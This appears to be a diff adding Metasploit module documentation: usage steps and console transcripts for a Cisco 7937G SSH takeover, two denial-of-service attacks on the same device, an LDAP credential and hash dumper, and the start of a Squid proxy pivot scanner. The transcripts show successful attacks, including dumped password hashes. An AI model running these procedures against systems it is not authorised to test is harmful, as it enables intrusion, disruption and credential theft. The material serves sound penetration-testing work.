#### Unsuccessful Scenario
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
|
||||
user => test
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
|
||||
pass => test
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
|
||||
rhosts => 192.168.110.209
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
|
||||
|
||||
[*] Running for 192.168.110.209...
|
||||
[*] 192.168.110.209 - Attempting to set SSH credentials.
|
||||
[-] 192.168.110.209 - Device doesn't appear to be functioning or web access is not enabled.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Cisco 7937G Running Firmware Version SCCP-1-4-5-5
|
||||
|
||||
#### Successful Scenario
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
|
||||
user => test
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
|
||||
pass => test
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
|
||||
rhosts => 192.168.110.209
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
|
||||
|
||||
[*] Running for 192.168.110.209...
|
||||
[*] 192.168.110.209 - Attempting to set SSH credentials.
|
||||
[*] 192.168.110.209 - SSH attack finished!
|
||||
[*] 192.168.110.209 - Try to login using the supplied credentials test:test
|
||||
[*] 192.168.110.209 - You must specify the key exchange when connecting or the device will be DoS'd!
|
||||
[*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
|
||||
user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
|
||||
test@192.168.110.209's password:
|
||||
|
||||
$>help
|
||||
|
||||
|
||||
Commands 1 to 21:
|
||||
help - Shows basic help for all commands.
|
||||
echo - Echoes all arguments (arbitrary parameters, up to 9)
|
||||
psosMaxShow - Show max number of psos objects created.
|
||||
psosFailuresShow - Show failures of psos api calls.
|
||||
clearNetStats - Clear statistics counters in Ethernet Driver.
|
||||
nicheShow - Show statistics of InterNiche stack.
|
||||
psosIntStackShow - Show information on interrupt stack.
|
||||
i - Display status of the specified process, or all running processes (Process_name (optional))
|
||||
checkStack - Checks the stack.
|
||||
reboot - Reboots the phone with an optional parameter.
|
||||
logl - Set the lowest log level which will be displayed (0-6)
|
||||
logs - Set the log level output for a given module ([module] [0-6])
|
||||
logsa - Set the log level output for all modules. ([0-6])
|
||||
logt - Set the log display type (0-2)
|
||||
logd - Dump the log, parameter is reverse order or not.
|
||||
logda - Print all available log modules and their current level.
|
||||
setRtRender - Set real time rendering parameters for the log.
|
||||
lfu - Send the logfiles to the provisioning server(no parameters).
|
||||
del - Delete specified file.
|
||||
cat - Concatanate specified files.
|
||||
|
||||
Commands 21 to 41:
|
||||
copy - Copy a file, can be stdout.
|
||||
ls - List the contents of flash.
|
||||
ll - List the contents of flash.
|
||||
d - Display memory. <address>,<num words>,<size words>
|
||||
m - Display memory. <address>,<size words>
|
||||
ping - Ping a given host (IP or DNS name) [,Data Len in Bytes]
|
||||
ifShow - Display ethernet interface statistics (no parameters)
|
||||
showStoredConfig - Display configuration as stored in flash (no parameters)
|
||||
showRunningConfig - Display the current running configuration (no parameters)
|
||||
showBackupConfig - Display backup configuration as stored in flash (no parameters)
|
||||
overrideBackupConfig - Override backup flash config with current config (no parameters)
|
||||
overrideSecurityBackup - Override backup security sector with current security sector.
|
||||
resetConfig - Reset the phone to the default settings(setting type [SPIP],[SPIPCS],[SPIPShoreline])
|
||||
configDhcpSet - Set DHCP parameters in the flash.
|
||||
(DHCP Enabled[YES|NO], Offer Timeout, DHCP Option, DHCP Option Type,
|
||||
Using statically configured boot server[YES|NO])
|
||||
configDnsSet - Set DNS parameters in the flash. (Primary DNS Server, Secondary DNS Server, DNS Domain)
|
||||
configNetSet - Set network parameters in the flash.
|
||||
(IP Address, Subnet Mask, Router, VLAN(can be empty))
|
||||
configProvisioningSet - Set provisioning server parameters in the flash.
|
||||
(Server Name, Using server type[FTP|TFTP|HTTP|HTTPS|FTPS], User, Password)
|
||||
configSntpSet - Set SNTP parameters in the flash. (sntpserverName,sntpgmtOffset)
|
||||
nslookup - Find the IP for a given hostname
|
||||
dnsCacheAShow - Show DNS Cache for A records.
|
||||
|
||||
Commands 41 to 61:
|
||||
dnsCacheSrvShow - Show DNS Cache for SRV records.
|
||||
dnsCacheAFlush - Flush DNS A records from cache.
|
||||
version - Display vxWorks bootline, software versions, and hardware version.
|
||||
hwBoardSerialSet - Set serial number. !!!!!Should never be used!!!!!.
|
||||
hwVarSet - Set the contents of a hardware var ([var ID] [new value])
|
||||
hwVarShow - Display the contents of a hardware var ([var ID])
|
||||
simulateKeyPress - Send a key Press event to so like it came from hardware.
|
||||
simulateKeyHold - Send a key Hold event to so like it came from hardware.
|
||||
simulateKeyRelease - Send a key Release event to so like it came from hardware.
|
||||
simulateHookUp - Send a hookswitch event to so like it came from hardware.
|
||||
simulateHookDown - Send a hookswitch event to so like it came from hardware.
|
||||
ncasMisc - Show misc. non-call information (no parameters)
|
||||
ncasCb - Show detailed ncas information, related to either call services,
|
||||
non-call services, or server information (1, 2, or 3)
|
||||
uptime - Show phone uptime.
|
||||
appPrt - Show UI's call status.
|
||||
fntPrt - Show information about fonts available on phone.
|
||||
memtop - Shows the top poiter to current memory.
|
||||
removeScheduledLogEntry - debug
|
||||
addScheduledLogEntry - debug
|
||||
fatalError - Simulate fatal error for the phone.
|
||||
|
||||
Commands 61 to 81:
|
||||
enableStrTruncLog - Enable logging of string truncation.
|
||||
disableStrTruncLog - Disable logging of string truncation.
|
||||
sendFlashBinImage - Upload binary flash image.
|
||||
setMac - debug, here because PSOS can't set the MAC.
|
||||
sg - send a bitmap to the boot server
|
||||
memShow - Display system memory usage
|
||||
memDebug - Toggle memory manager trace flag
|
||||
l2Debug - Toggle memory manager trace flag
|
||||
wsTest - Web Service Test Tool
|
||||
fxShow - Display file transfer manager status
|
||||
utilHostByNameShow - Test utilHostByName
|
||||
utilDnsShow - Show callbacks for dns queries
|
||||
dnsCacheShow - Show DNSACacheShow
|
||||
utilEthLinkShow - Show Ethernet link status
|
||||
ethConfigTest - Set Ethernet Mode (0 to 4)
|
||||
timeTest - Test time
|
||||
contrastChg - Change LCD Contrast
|
||||
setAdminVlan - Set admin vlan id
|
||||
setL2Auth - Set L2 Auth Enable/Disable
|
||||
ipAddrChange - Change ip addr configuration
|
||||
|
||||
Commands 81 to 101:
|
||||
tftpChange - Change tftp addr
|
||||
arpStats - Print ARP statistics
|
||||
fxPut - Transfer file to remote
|
||||
crash - Crash the system
|
||||
ipAddrShow - Show ip addr
|
||||
rtosSocketShow - Show rtos socket information
|
||||
sccpShow - Show protocol
|
||||
regManagerShow - show registration manager state
|
||||
uiPrintAll - uiPrintAll
|
||||
uiPrintSoftKeys - uiPrintSoftKeys
|
||||
getVoiceQuality - displays voice quality control status
|
||||
uiPrintLocalSoftKeys - uiPrintLocalSoftKeys
|
||||
uiStartTone - uiStartTone
|
||||
uiStopTone - uiStopTone
|
||||
pegPrintAll - pegPrintAll
|
||||
uiSMPrintAll - uiStateMachinePrintAll
|
||||
lldpSMPrintAll - lldpStateMachinePrintAll
|
||||
saveLogLevels - saveLogLevels
|
||||
localePrintAll - localePrintAll
|
||||
ceShow - Show Client Engine Status
|
||||
|
||||
Commands 101 to 121:
|
||||
udiShow - Show Unique Device Indentifier
|
||||
show - Show Unique Device Indentifier
|
||||
pbnShow - Display app & bootrom headers
|
||||
upr - Upgrade to a Rockpile Standalone Image
|
||||
upm - Upgrade to a Rockpile Manf Image
|
||||
setHw - Sets the Rockpile Hardware Id
|
||||
getHw - Prints the Rockpile Hardware Id
|
||||
setUpf - Sets the Upgrade progress flag
|
||||
rstUpf - Resets the Upgrade progress flag
|
||||
setMdm - Sets the Manf diag mode flag
|
||||
rstMdm - Resets the Manf diag mode flag
|
||||
setDhcp - Sets the Manf diag dhcp flag
|
||||
rstDhcp - Resets the Manf diag dhcp flag
|
||||
setOrd - Sets the ORD flag
|
||||
rstOrd - Resets the ORD flag
|
||||
fs - Prin the status of rockpile flags
|
||||
cp - Mfg. test diags
|
||||
vol - Mfg. test diags
|
||||
sig - Mfg. test diags
|
||||
os - Mfg. test diags
|
||||
|
||||
Commands 121 to 141:
|
||||
lcd - Mfg. test diags
|
||||
sum - Prints checksums of flash images
|
||||
rd - Mfg. test diags
|
||||
wr - Mfg. test diags
|
||||
eth - Start/stop ethernet hardware
|
||||
fstp - Stop FGPIO interface
|
||||
hfTxEq - Audio testing for large conf rooms
|
||||
ctConv - perform ct convergence test.
|
||||
ctModeEnd - terminate ctMode
|
||||
ctEnableRx - Enable ctRx 1 on, 0 off
|
||||
ctEnableTx - Enable ctTx 1 on, 0 off
|
||||
ctMicTx - Route mic # to Tx
|
||||
ctEMTx - Route external mic # to Tx
|
||||
ctSineTx - [chan], [freq], [dBm]: Generate tone to Tx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
|
||||
ctRxSpkr - Send directly to HF speaker
|
||||
ctSineSpkr - [chan], [freq], [dBm]: Generate tone to Rx (0 => HD, 1 => HF, default HF, 1KHz, -40dBm)
|
||||
ctNoiseSpkr - [chan], [dBm]: Generate noise to Rx (0 => HD, 1 => HF, default HF, -40dBm)
|
||||
displayListeningPorts - Display listening port and process info
|
||||
killListeningProcess - Kill the task associated with the port
|
||||
|
||||
$>exit
|
||||
```
|
||||
|
||||
#### Unsuccessful Scenario
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
|
||||
user => test
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
|
||||
pass => test
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
|
||||
rhosts => 192.168.110.209
|
||||
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
|
||||
|
||||
[*] Running for 192.168.110.209...
|
||||
[*] 192.168.110.209 - Attempting to set SSH credentials.
|
||||
[-] 192.168.110.209 - Device doesn't appear to be functioning or web access is not enabled.
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,104 @@
|
||||
## Vulnerable Application
|
||||
|
||||
[Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station.
|
||||
This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a bug in how the conference station handles incoming SSH
|
||||
connections that provide an incompatible key exchange. By connecting with an
|
||||
incompatible key exchange, the device becomes nonresponsive until it is manually power cycled.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Obtain a Cisco 7937G Conference Station.
|
||||
2. Enable SSH Access on the device.
|
||||
3. Start msfconsole
|
||||
4. Do: `use auxiliary/dos/cisco/cisco_7937G_dos`
|
||||
5. Do: `set RHOST 192.168.1.10`
|
||||
6. Do: `run`
|
||||
7. The conference station should now be nonresponsive until it is power cycled
|
||||
|
||||
## Options
|
||||
|
||||
No options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco 7937G Running Firmware Version SCCP-1-4-5-7
|
||||
|
||||
#### Successful Scenario:
|
||||
```
|
||||
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
|
||||
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
|
||||
rhost => 192.168.110.209
|
||||
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
|
||||
|
||||
[*] Starting server...
|
||||
[*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3)
|
||||
[-] 192.168.110.209 - Exception: Incompatible ssh peer (no acceptable kex algorithm)
|
||||
[-] 192.168.110.209 - Traceback (most recent call last):
|
||||
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2083, in run
|
||||
[-] 192.168.110.209 - self._handler_table[ptype](self, m)
|
||||
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2198, in _negotiate_keys
|
||||
[-] 192.168.110.209 - self._parse_kex_init(m)
|
||||
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2354, in _parse_kex_init
|
||||
[-] 192.168.110.209 - raise SSHException(
|
||||
[-] 192.168.110.209 - paramiko.ssh_exception.SSHException: Incompatible ssh peer (no acceptable kex algorithm)
|
||||
[-] 192.168.110.209 -
|
||||
[*] 192.168.110.209 - dos non-reset attack completed!
|
||||
[*] 192.168.110.209 - Errors are intended.
|
||||
[*] 192.168.110.209 - Device must be power cycled to restore functionality.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Unsuccessful Scenario:
|
||||
```
|
||||
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
|
||||
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
|
||||
rhost => 192.168.110.209
|
||||
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
|
||||
|
||||
[*] Starting server...
|
||||
[-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Cisco 7937G Running Firmware Version SCCP-1-4-5-5
|
||||
|
||||
#### Successful Scenario:
|
||||
```
|
||||
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
|
||||
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
|
||||
rhost => 192.168.110.209
|
||||
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
|
||||
|
||||
[*] Starting server...
|
||||
[*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3)
|
||||
[-] 192.168.110.209 - Exception: Incompatible ssh peer (no acceptable kex algorithm)
|
||||
[-] 192.168.110.209 - Traceback (most recent call last):
|
||||
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2083, in run
|
||||
[-] 192.168.110.209 - self._handler_table[ptype](self, m)
|
||||
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2198, in _negotiate_keys
|
||||
[-] 192.168.110.209 - self._parse_kex_init(m)
|
||||
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2354, in _parse_kex_init
|
||||
[-] 192.168.110.209 - raise SSHException(
|
||||
[-] 192.168.110.209 - paramiko.ssh_exception.SSHException: Incompatible ssh peer (no acceptable kex algorithm)
|
||||
[-] 192.168.110.209 -
|
||||
[*] 192.168.110.209 - dos non-reset attack completed!
|
||||
[*] 192.168.110.209 - Errors are intended.
|
||||
[*] 192.168.110.209 - Device must be power cycled to restore functionality.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Unsuccessful Scenario:
|
||||
```
|
||||
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
|
||||
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
|
||||
rhost => 192.168.110.209
|
||||
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
|
||||
|
||||
[*] Starting server...
|
||||
[-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,54 @@
|
||||
## Vulnerable Application
|
||||
|
||||
[Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station.
|
||||
This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a bug in how the conference station handles executing a ping via its web interface.
|
||||
By repeatedly executing the ping function without clearing out the resulting output,
|
||||
a DoS is caused that will reset the device after a few minutes.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Obtain a Cisco 7937G Conference Station.
|
||||
2. Enable Web Access on the device (default configuration).
|
||||
3. Start msfconsole
|
||||
4. Do: `use auxiliary/dos/cisco/cisco_7937g_dos_reboot`
|
||||
5. Do: `set rhost 192.168.1.10`
|
||||
6. Do: `run`
|
||||
7. The conference station should become nonresponsive and then power cycle itself.
|
||||
|
||||
## Options
|
||||
|
||||
No options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco 7937G Running Firmware Version SCCP-1-4-5-7
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot
|
||||
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209
|
||||
rhost => 192.168.110.209
|
||||
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run
|
||||
|
||||
[*] Starting server...
|
||||
[*] 192.168.110.209 - Sending DoS Packets. Stand by.
|
||||
[*] 192.168.110.209 - DoS reset attack completed!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Cisco 7937G Running Firmware Version SCCP-1-4-5-5
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot
|
||||
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209
|
||||
rhost => 192.168.110.209
|
||||
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run
|
||||
|
||||
[*] Starting server...
|
||||
[*] 192.168.110.209 - Sending DoS Packets. Stand by.
|
||||
[*] 192.168.110.209 - DoS reset attack completed!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,199 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module uses an LDAP connection to dump data from LDAP server
|
||||
using an anonymous or authenticated bind.
|
||||
Searching for specific attributes it collects user credentials.
|
||||
|
||||
### Setup
|
||||
|
||||
Tested in the wild.
|
||||
|
||||
You may eventually setup an intentionally insecure OpenLDAP server in docker.
|
||||
The below OpenLDAP server does not have any ACL, therefore the hashPassword
|
||||
attributes are readable by anonymous clients.
|
||||
|
||||
```
|
||||
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
|
||||
$ cd bitnami-docker-openldap
|
||||
$ docker-compose up -d
|
||||
Creating bitnami-docker-openldap_openldap_1 ... done
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389
|
||||
RPORT => 1389
|
||||
msf5 auxiliary(gather/ldap_hashdump) > options
|
||||
|
||||
Module options (auxiliary/gather/ldap_hashdump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN no The username to authenticate to LDAP server
|
||||
BIND_PW no Password for the BIND_DN
|
||||
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
|
||||
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 1389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USER_ATTR dn no LDAP attribute, that contains username
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump Dump all LDAP data
|
||||
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) >
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=example,dc=org
|
||||
[*] Dumping LDAP data from server at 127.0.0.1:1389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt
|
||||
[*] Searching for attribute: userPassword
|
||||
[*] Taking dn attribute as username
|
||||
[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1
|
||||
[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/ldap_hashdump) >
|
||||
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Actions
|
||||
|
||||
### Dump
|
||||
|
||||
Dump all LDAP data from the LDAP server.
|
||||
|
||||
## Options
|
||||
|
||||
### BASE_DN
|
||||
|
||||
If you already have the LDAP base DN, you may set it in this option.
|
||||
|
||||
### USER_ATTR
|
||||
|
||||
LDAP attribute to take the user name from. Defaults to DN, however you may
|
||||
wish to change it UID, name or similar.
|
||||
|
||||
### PASS_ATTR
|
||||
|
||||
LDAP attribute to take the password hash from. Defaults to userPassword,
|
||||
some LDAP server may use different attribute, e.g. unixUserPassword,
|
||||
sambantpassword, sambalmpassword.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Avaya Communication Manager via anonymous bind
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/gather/ldap_hashdump
|
||||
msf5 auxiliary(gather/ldap_hashdump) > options
|
||||
|
||||
Module options (auxiliary/gather/ldap_hashdump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USER_ATTR dn no LDAP attribute, that contains username
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Dump Dump all LDAP data
|
||||
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
|
||||
RHOSTS => [redacted_ip_address]
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against [redacted_ip_address]
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=vsp
|
||||
[*] Dumping LDAP data from server at [redacted_ip_address]:389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
|
||||
[*] Searching for attribute: userPassword
|
||||
[*] Taking dn attribute as username
|
||||
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
|
||||
USER_ATTR => uid
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against [redacted_ip_address]
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=vsp
|
||||
[*] Dumping LDAP data from server at [redacted_ip_address]:389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
|
||||
[*] Searching for attribute: userPassword
|
||||
[*] Taking uid attribute as username
|
||||
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/ldap_hashdump) >
|
||||
```
|
||||
|
||||
### NASDeluxe - NAS with Samba LM/NTLM hashes
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
|
||||
USER_ATTR => uid
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword
|
||||
PASS_ATTR => sambantpassword
|
||||
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
|
||||
RHOSTS => [redacted_ip_address]
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against [redacted_ip_address]
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=server,dc=nas
|
||||
[*] Dumping LDAP data from server at [redacted_ip_address]:389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt
|
||||
[*] Searching for attribute: sambantpassword
|
||||
[*] Taking uid attribute as username
|
||||
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
|
||||
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf5 auxiliary(gather/ldap_hashdump) > run
|
||||
[*] Running module against [redacted_ip_address]
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
[+] Discovered base DN: dc=server,dc=nas
|
||||
[*] Dumping LDAP data from server at [redacted_ip_address]:389
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt
|
||||
[*] Searching for attribute: sambalmpassword
|
||||
[*] Taking uid attribute as username
|
||||
[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE
|
||||
[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,283 @@
|
||||
## Description
|
||||
|
||||
A exposed Squid proxy will usually allow an attacker to make requests on their behalf. If misconfigured, this may give the attacker information about devices that they cannot normally reach. For example, an attacker may be able to make requests for internal IP addresses against an open Squid proxy exposed to the Internet, therefore performing a port scan against the internal network.
|
||||
|
||||
The `auxiliary/scanner/http/open_proxy` module can be used to test for open proxies, though a Squid proxy does not have to be on the open Internet in order to allow for pivoting (e.g. an Intranet Squid proxy which allows the attack to pivot to another part of the internal network).
|
||||
|
||||
This module will not be able to scan network ranges or ports denied by Squid ACLs. Fortunately it is possible to detect whether a host was up and the port was closed, or if the request was blocked by an ACL, based on the response Squid gives. This feedback is provided to the user in meterpreter `VERBOSE` output, otherwise only open and permitted ports are printed.
|
||||
|
||||
|
||||
### Vulnerable Application Setup
|
||||
|
||||
The [official Squid configuration documentation](https://wiki.squid-cache.org/SquidFaq/ConfiguringSquid) covers the significant flexibility of the Squid proxy. For this module, the most relevant core Squid configuration lines usually looks like this (default for version 3.5):
|
||||
|
||||
```
|
||||
http_port 3128
|
||||
|
||||
acl localnet src 10.0.0.0/8 # RFC1918 possible internal network
|
||||
acl localnet src 172.16.0.0/12 # RFC1918 possible internal network
|
||||
acl localnet src 192.168.0.0/16 # RFC1918 possible internal network
|
||||
acl localnet src fc00::/7 # RFC 4193 local private network range
|
||||
acl localnet src fe80::/10 # RFC 4291 link-local (directly plugged) machines
|
||||
|
||||
acl SSL_ports port 443
|
||||
|
||||
acl Safe_ports port 80 # http
|
||||
acl Safe_ports port 21 # ftp
|
||||
acl Safe_ports port 443 # https
|
||||
acl Safe_ports port 70 # gopher
|
||||
acl Safe_ports port 210 # wais
|
||||
acl Safe_ports port 280 # http-mgmt
|
||||
acl Safe_ports port 488 # gss-http
|
||||
acl Safe_ports port 591 # filemaker
|
||||
acl Safe_ports port 777 # multiling http
|
||||
acl Safe_ports port 1025-65535 # unregistered ports
|
||||
|
||||
acl CONNECT method CONNECT
|
||||
|
||||
http_access deny !Safe_ports
|
||||
http_access deny CONNECT !SSL_ports
|
||||
http_access allow localhost manager
|
||||
http_access deny manager
|
||||
|
||||
#
|
||||
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
|
||||
#
|
||||
|
||||
http_access allow localnet
|
||||
http_access allow localhost
|
||||
http_access deny all
|
||||
```
|
||||
|
||||
In short, this opens port 3128 for proxying from `localhost` or a `localnet` ranges to any port in `Safe_ports`, and allows SSL CONNECT requests to be made to `SSL_ports` (just 443 in this example).
|
||||
|
||||
The references to "manager" are referring to a component of Squid which provides management controls and reports displaying statistics about the squid process as it runs, and can show useful information like file descriptors or internal hostnames and IP addresses if the ACL permits access. [See the official docs](https://wiki.squid-cache.org/Features/CacheManager) for more information on the Cache Manager.
|
||||
|
||||
As such, you should be able to install Squid with default configuration, and reach through it from an internal network source range to anythin the Squid proxy has a route to. If you wish to test against other ports or network ranges, modify the configuration to suit prior to testing.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
